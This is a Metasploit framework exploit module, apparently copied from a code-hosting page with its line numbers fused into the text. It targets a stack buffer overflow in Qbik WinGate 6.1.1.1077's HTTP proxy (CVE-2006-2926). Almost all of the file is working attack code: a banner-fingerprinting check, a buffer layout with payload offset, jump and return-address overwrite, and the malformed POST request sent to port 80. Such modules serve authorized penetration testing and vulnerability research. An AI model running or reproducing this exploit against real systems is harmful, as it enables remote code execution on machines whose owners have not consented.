Path: blob/master/modules/exploits/windows/proxy/qbik_wingate_wwwproxy.rb
19813 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Qbik WinGate WWW Proxy Server URL Processing Overflow',15'Description' => %q{16This module exploits a stack buffer overflow in Qbik WinGate version176.1.1.1077 and earlier. By sending malformed HTTP POST URL to the18HTTP proxy service on port 80, a remote attacker could overflow19a buffer and execute arbitrary code.20},21'Author' => 'aushack',22'License' => MSF_LICENSE,23'References' => [24[ 'CVE', '2006-2926' ],25[ 'OSVDB', '26214' ],26[ 'BID', '18312' ],27],28'DefaultOptions' => {29'EXITFUNC' => 'process',30'AllowWin32SEH' => true31},32'Payload' => {33'Space' => 1000,34'BadChars' => "\x00\x0a\x0d\x20+&=%\/\\\#;\"\':<>?",35'EncoderType' => Msf::Encoder::Type::AlphanumMixed,36'StackAdjustment' => -3500,37},38'Platform' => 'win',39'Targets' => [40[ 'WinGate 6.1.1.1077', { 'Ret' => 0x01991932 } ], # call esi41],42'Privileged' => true,43'DisclosureDate' => '2006-06-07',44'DefaultTarget' => 0,45'Notes' => {46'Reliability' => UNKNOWN_RELIABILITY,47'Stability' => UNKNOWN_STABILITY,48'SideEffects' => UNKNOWN_SIDE_EFFECTS49}50)51)5253register_options(54[55Opt::RPORT(80)56]57)58end5960def check61connect62sock.put("GET /\r\n\r\n") # Malformed request to get proxy info63banner = sock.get_once || ''64if (banner =~ /Server:\sWinGate\s6.1.1\s\(Build 1077\)/)65return Exploit::CheckCode::Appears66end6768return Exploit::CheckCode::Safe69end7071def exploit72connect7374print_status("Trying target #{target.name}...")7576buff = Rex::Text.rand_text_alphanumeric(3000)77buff[1200, 1000] = payload.encoded # jmp here78buff[2200, 5] = Rex::Arch::X86.jmp(-1005) # esi79buff[2284, 4] = [target['Ret']].pack('V') # eip8081sploit = "POST http://#{buff}/ HTTP/1.0\r\n\r\n"8283sock.put(sploit)84sock.get_once(-1, 3)8586handler87disconnect88end89end909192